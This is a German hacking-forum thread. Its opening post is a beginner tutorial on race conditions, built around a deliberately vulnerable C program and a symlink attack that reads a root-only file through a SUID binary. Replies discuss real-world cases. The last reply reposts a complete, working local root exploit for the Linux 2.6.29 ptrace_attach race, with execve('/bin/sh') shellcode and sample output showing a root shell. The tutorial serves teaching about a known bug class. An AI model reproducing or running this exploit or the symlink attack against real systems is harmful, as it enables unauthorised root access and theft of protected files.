Ergebnis 1 bis 6 von 6
  1. #1
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard [Tut] Simple Race Conditions

    Hey,

    das hier hab ich neulich für J0hn.X3r geschrieben.

    Viel Spaß beim Lesen und ich hoffen auf Feedback

    Code:
    /***************************
    *                            *
    *   Simple Race Conditions   *
    *                            *
    *   written by GregorSamsa   *
    * gregor.samsa@jabber.ccc.de *
    *                            *
    *****************************/
    
    0x01 {
        Ein kleines Vorwort:
        Hier mal ein kleines Paper zum Thema Race Conditions.
        Wieder eines der Paper die geschrieben wurden,
        um Anfängern das Leben zu erleichter ;)
        
        Naja, nichts besonderes, aber vllt. regt es den ein oder
        anderen zum nachdenken an...
    }
    
    0x02 {
        Was sind Race Conditions?
        Race Conditions sind Situationen, in denen es darum geht,
        dass die Programmausführung von einem Programm solange braucht,
        dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
        kann, um den Ablauf des ersten Programmes zu ändern.
        
        Ich habe hierfür ein kleines C-Programm geschrieben, dass
        diesen Umstand simuliert.
    }
    
    0x03 {
        /** Simple Race Condition - Example **/
        #include <stdio.h>
        
        int main(int argc, char **argv)
        {
            FILE *f;
            char c;
            
            if(argc < 2) {
                printf("usage: %s <filename>\n", argv[0]);
                return 1;
            }
            
            if(strcmp(argv[1], "secretfilename") == 0) {
                printf("filename correct\nreading %s\n", argv[1]);
            }
            else {
                printf("wrong filename\npls w8 4 next try...\n");
                remove(argv[1]);
                sleep(5);
            }
            
            f = fopen(argv[1], "r");
            if(f == NULL) {
                printf("cannot open file...\nmaybe wrong filename...?\n");
                return 1;
            }
            
            while(!feof(f)) printf("%c", fgetc(f));
            
            fclose(f);
            
            return 0;
        }
    }
    
    0x04 {
        Überlegungen:
        Schauen wir uns dieses Programm an:
        Als erstes überprüft es den Dateinamen.
        Wir gehen einfach mal davon aus, dass wir
        "secretfilename" nicht aus dem Speicher lesen
        können. Das könnte ja auch eine sha-1 Prüfsumme
        des Dateinamens sein ;)
        
        Wenn der Dateiname nicht richtig ist, wird die Datei
        gelöscht und es werden 5 Sekunden gewartet.
        
        Später wird versucht die Datei zu öffnen und zu lesen.
        Wenn der falsche Dateiname eingegeben wurde,
        ist die Datei gelöscht und kann nicht gelesen werden...
        Oder doch...?
    }
    
    0x05 {
        Angriff:
        Da wir secretfilename nicht wissen, probieren wir
        einfach mal so, das Programm zu starten:
        
        [samsa@hades ~]$ ./rc
        usage: ./rc <filename>
        [samsa@hades ~]$ ./rc test
        wrong filename
        pls w8 4 next try...
        <5 sek warten>
        cannot open file...
        maybe wrong filename...?
        
        Die Angriffsmöglichkeit besteht in der Wartezeit
        von 5 Sekunden.
        Die Datei wird erst gelöscht, _danach_ wird gewartet
        und dann versucht die Datei zu öffnen.
        Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
        die Datei neu zu erstellen, damit die Ausgelesen wird:
        (In dem Beispiel gehen wir davon aus, dass wir ein
        SUID root Programm haben und /root/geheim lesen wollen)
        
        [samsa@hades ~]$ ./rc test &    # im Hintergrund starten
        [1] 1337
        [samsa@hades ~]$ wrong filename
        pls w8 4 next try
        
        [samsa@hades ~]$ ln -s /root/geheim test    # während der 5 Sekunden eine Datei anlegen, die auf /root/geheim verweist
        [samsa@hades ~]$ <inhalt von /root/geheim>
        [1]+ Fertig            ./rc test
        [samsa@hades ~]$
        
        Ganz einfach, oder? :P
        Selbst wenn test besteht, wird diese Datei gelöscht,
        da der Dateiname falsch ist.
        Allerdings wird erst _danach_ 5 sek. gewartet,
        und wir erstellen eine Verknüpfung zu /root/geheim,
        die dann von dem Programm ausgelesen wird.
    }
    
    0x06 {
        Schlusswort:
        Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
        Aber vllt. hilft es euch, Designfehler bei Programmabläufen
        zu verstehen und auszunutzen.
        
        Wer noch Fragen hat findet mich da:
        gregor.samsa@jabber.ccc.de
        irc.freenode.net #back2hack  http://back2hack.cc/
        irc.ircdotnet.net #free-hack  http://free-hack.com/
    }
    
    0x07 {
        oh shit, da greetz section... but meh like mah
        1337 friendz so meh hav 2 greetz them here!!!111
        J0hn.X3r - 4 u ;)
        BlackBerry - meh like u :-*
        h0yt3r - caaatz meow <3333
        Invisibility, Cheese, 0x30, aKiller - only: <3
        OpCodez - drugs r bad, but u r cool :P
        ...and kazuya, RedTiger, soulstoned, gesocks and teh
        other user from #back2hack and #free-hack i like u
    }
    
    /** n0p **/
    greeetz

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Cristhecrusader (27.06.2010), Donut (25.06.2010), Flic (25.06.2010), rogger (25.06.2010)

  3. #2
    Jahrelanger Discopumper Avatar von aKiller47
    Registriert seit
    05.09.2008
    Beiträge
    94

    Standard

    Und damit willst du jetzt ne Shell aufen Server bringen biggest lol!

    Aber sonst nen cooles Paper, vielleicht machst du es bei SmashTheStack Public da würden sich die Leute noch mehr freuen denk ich.
    We don't talk to police
    We don't make a peace bond

  4. #3

    Standard

    Jo, mit der Wartezeit bestimmt für jedermann verständlich, nettes Paper
    _n0p3_

  5. #4
    BackNine Wurm
    Registriert seit
    15.08.2007
    Beiträge
    301

    Standard

    Ganz nettes tut und auch gut zu verstehen. Aber gibt es auch richtige Programme bei denen sich solche Race Conditions ausnutzen lassen?

  6. #5
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard

    Natürlich gibt es solche Fälle, das Beispiel ist zwar konstruiert, jedoch nicht aus der Luft gegriffen.
    Beispiele hab ich jetzt gerade nicht im Kopf, aber wenn ich mich richtig erinner, gab es mal bei der Accountabrechnung von WoW etwas ähnliches, wodurch man kostenlos WoW spielen konnte....

  7. #6

    Standard

    Gibt da so einiges, sogar in Abschnitten vom Linuxkernel zu finden:
    Code:
    /*
    * GNU/Linux kernel 2.6.29 ptrace_attach() local root race condition exploit.
    * ==========================================================================
    * This is a local root exploit for the 2.6.29 ptrace_attach() race condition that allows
    * a process to gain elevated privileges under certain conditions. The vulnerability is
    * caused due to "ptrace_attach()" using an inadequate mutex while synchronizing with
    * "execve()". This can be exploited to potentially execute arbitrary code with root
    * privileges by attaching to a setuid process. The race is particularly narrow, this
    * exploit checks that it has attached to the correct process before attempting to
    * inject shellcode which helps reduce false positives and shells being spawned with
    * lower privileges.
    *
    * Ex.
    *   matthew@matthew-desktop:~$ id
    *   uid=1000(matthew) gid=1000(matthew)   groups=4(adm),20(dialout),24(cdrom),25(floppy),
    *   29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
    *   matthew@matthew-desktop:~$ uname -a
    *   Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux
    *   matthew@matthew-desktop:~$ while `/bin/true/`;do ./shoryuken;done
    *   [... much scroll removed, go make coffee, get a job, do something while running ...]
    *   /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
    *   proc on /proc type proc (rw,noexec,nosuid,nodev)
    *   /sys on /sys type sysfs (rw,noexec,nosuid,nodev)
    *   varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
    *   varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
    *   udev on /dev type tmpfs (rw,mode=0755)
    *   devshm on /dev/shm type tmpfs (rw)
    *   devpts on /dev/pts type devpts (rw,gid=5,mode=620)
    *   securityfs on /sys/kernel/security type securityfs (rw)
    *   gvfs-fuse-daemon on /home/matthew/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
    *   [ WIN! 18281
    *   [ Overwritten 0xb8097430
    *   # id
    *   uid=0(root) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
    *   44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
    *   #
    *
    *  Please note this exploit is released to you under fuqHAK5 licence agreement, you may use
    *  this exploit, sell it, recode it, rip the header and claim it as your own on the condition
    *  that you are not a fan of the hak5 tv "hacking" show. This exploit must not be renamed from
    *  shoryuken.c at any time.
    *
    *   -- prdelka
    */
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    #include <linux/user.h>
    #include <stdio.h>
    #include <fcntl.h>
     
    char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90"
                     "\x6a\x23\x58\x31"
                     "\xdb\xcd\x80"
                     "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
                     "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
                     "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
     
    int main(){
        pid_t child;
        int eip, i = 0;
        struct user_regs_struct regs;
        char *argv[] = {"mount",0};
        char *envp[] = {"",0};
        child = fork();
        if(child == 0) {
            execve("/bin/mount",argv,envp);
        }
        else {
            if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
                    char buf[256];
                    sprintf(buf, "/proc/%d/cmdline", child);
                    int fd = open(buf, O_RDONLY);
                    read(fd, buf, 2);
                    close(fd);
                    if(buf[0] == 'm') {
                            printf("[ WIN! %d\n", child);
                            fflush(stdout);
                            ptrace(PTRACE_GETREGS, child, NULL, &regs);
                            eip = regs.eip;
                            while (i < strlen(shellcode)){
                                    ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
                                    i += 4;
                                    eip += 4;
                            }
                            printf("[ Overwritten 0x%x\n",regs.eip);
                            ptrace(PTRACE_SETREGS, child, NULL, &regs);
                            ptrace(PTRACE_DETACH, child, NULL,NULL);
                            usleep(1);
                            wait(0);
                    }
                }
        }
        return 0;
    }
    _n0p3_

Ähnliche Themen

  1. [VB.NET] Simple Exe Pumper
    Von Bastij15 im Forum Source Codes
    Antworten: 2
    Letzter Beitrag: 13.05.2010, 08:02
  2. C++ Simple IRC Bot
    Von -=Player=- im Forum C, C++
    Antworten: 0
    Letzter Beitrag: 01.11.2008, 20:30

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •